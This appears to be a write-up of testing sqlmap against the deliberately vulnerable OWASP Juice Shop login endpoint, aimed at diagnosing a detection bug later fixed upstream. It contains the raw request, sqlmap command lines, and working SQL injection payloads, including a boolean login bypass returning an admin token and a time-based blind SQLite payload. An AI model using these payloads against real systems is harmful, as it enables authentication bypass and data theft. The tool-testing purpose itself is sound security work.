First of all always try to minimize usage of --threads when you are facing problems and consider testing with something like --delay=1 as the service might not work normally in high load.
I started Juice with:
docker run --rm -p 3000:3000 bkimminich/juice-shop
Then when I try to login with invalid creds:
POST /rest/user/login HTTP/1.1
Host: 192.168.2.82:3000
Content-Length: 46
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: application/json
Origin: http://192.168.2.82:3000
Referer: http://192.168.2.82:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: language=en; welcomebanner_status=dismiss
Connection: close
{"email":"user@example.com","password":"test"}
And notice error message from the application:
HTTP/1.1 401 Unauthorized
<snip>
Invalid email or password.
When I repeat the query with ' in email parameter:
{"email":"'","password":"test"}
We will observe following response from service:
HTTP/1.1 500 Internal Server Error
<snip>
"error": {
"message": "SQLITE_ERROR: unrecognized token:
<snip>
Then we can start exploiting it with sqlmap. We are using --dbms=sqlite to reduce amount of queries and we are ignoring failed logins causing 401 responses. By default sqlmap will stop testing in case of 401 responses.
./sqlmap.py -r query.txt --ignore-code=401 --dbms=sqlite
Where query.txt content is:
{"email":"user@example.com*","password":"test"}
Result should look like:
$ ./sqlmap.py -r query.txt --ignore-code=401 --dbms=sqlite
<snip>
[04:44:10] [WARNING] (custom) POST parameter '#1*' does not seem to be injectable
[04:44:10] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 135 times, 500 (Internal Server Error) - 19 times
When we run sqlmap with following command line:
./sqlmap.py -r query.txt --ignore-code=401 --level=5 --risk=3 --technique=B --dbms=sqlite -t traffic.log
We can actually see following in traffic.log:
{"email":"user@example.com-5400' OR 3083=3083-- LNfg","password":"test"}
With response:
{"authentication":{"token":"x","bid":1,"umail":"admin@juice-sh.op"}}
But for some reason sqlmap doesn't detect that as a vulnerability. Feels like a bug, but not sure why this happens exactly. Need to investigate more.
If we run following we can find the vulnerability as time-based blind:
$ ./sqlmap.py -r query.txt --ignore-code=401 --level=5 --risk=3 --dbms=sqlite -t traffic.log
<snip>
sqlmap identified the following injection point(s) with a total of 694 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: {"email":"user@example.com'||(SELECT CHAR(79,100,67,109) WHERE 8186=8186 AND 9788=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'","password":"test"}
---
[05:30:04] [INFO] the back-end DBMS is SQLite
UPDATE: I submitted this case as an issue to sqlmap GitHub project. See: https://github.com/sqlmapproject/sqlmap/issues/4671
2nd UPDATE: This has now been fixed in upstream.